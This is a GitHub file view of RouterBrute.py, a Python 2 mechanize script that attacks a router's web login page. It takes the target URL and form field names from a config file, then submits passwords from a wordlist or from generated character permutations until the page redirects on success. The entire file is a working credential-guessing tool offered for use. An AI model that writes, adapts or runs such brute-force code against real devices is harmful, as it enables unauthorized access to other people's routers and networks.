-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathRouterBrute.py
More file actions
82 lines (80 loc) · 2.75 KB
/
RouterBrute.py
File metadata and controls
82 lines (80 loc) · 2.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/python
import time
import mechanize
import itertools
import ConfigParser
# Config stuff
configParser = ConfigParser.RawConfigParser()
configFilePath = 'router_config.txt'
configParser.read(configFilePath)
# username to brute
username = configParser.get('config', 'username')
# link to brute
link = configParser.get('config', 'link')
# wordlist to use
wordlist = configParser.get('config', 'wordlist')
# link redirects to
link_redirects_to = configParser.get('config', 'link_redirects_to')
# username field
username_field = configParser.get('config', 'username_field')
# password field
password_field = configParser.get('config', 'password_field')
# form name
form_name = configParser.get('config', 'form_name')
print "---------------------\n RouterBrute\n---------------------"
#username = raw_input("Username to brute: ")
def brute():
br=mechanize.Browser()
print("[*] Browser Initialized")
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.open(link)
passfile=open(wordlist,"r")
tries = 0
for password in passfile.readlines():
password=password.rstrip('\n')
try:
tries += 1
br.select_form(name=form_name)
br.form[username_field]=username
br.form[password_field]=password
resp=br.submit()
if resp.geturl()==link_redirects_to:
print("[!] Correct Password is %s" %(password))
print("[!] That took " + str(tries) + " tries!")
time.sleep(3)
break
else:
print("[+] Checking %s" %(password))
except KeyboardInterrupt:
print("\nQuitting..")
return
main = raw_input("Bruteforce or Dictionary [brute/dict]: ")
if main == "dict":
brute()
else:
letters = raw_input("Letters/Numbers to use: ")
br = mechanize.Browser()
print("[*] Browser Initialized")
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
length = input("Length of password: ")
combos = itertools.permutations(letters,length)
br.open(link)
tries = 0
for x in combos:
tries += 1
br.select_form(name=form_name)# ( nr = 0 )
br.form[username_field] = username
br.form[password_field] = ''.join(x)
print "[-] Checking",br.form[password_field]
response=br.submit()
if response.geturl()==link_redirects_to:
print "[+] Correct password is",''.join(x)
print("[!] That took " + str(tries) + " tries!")
time.sleep(3)
break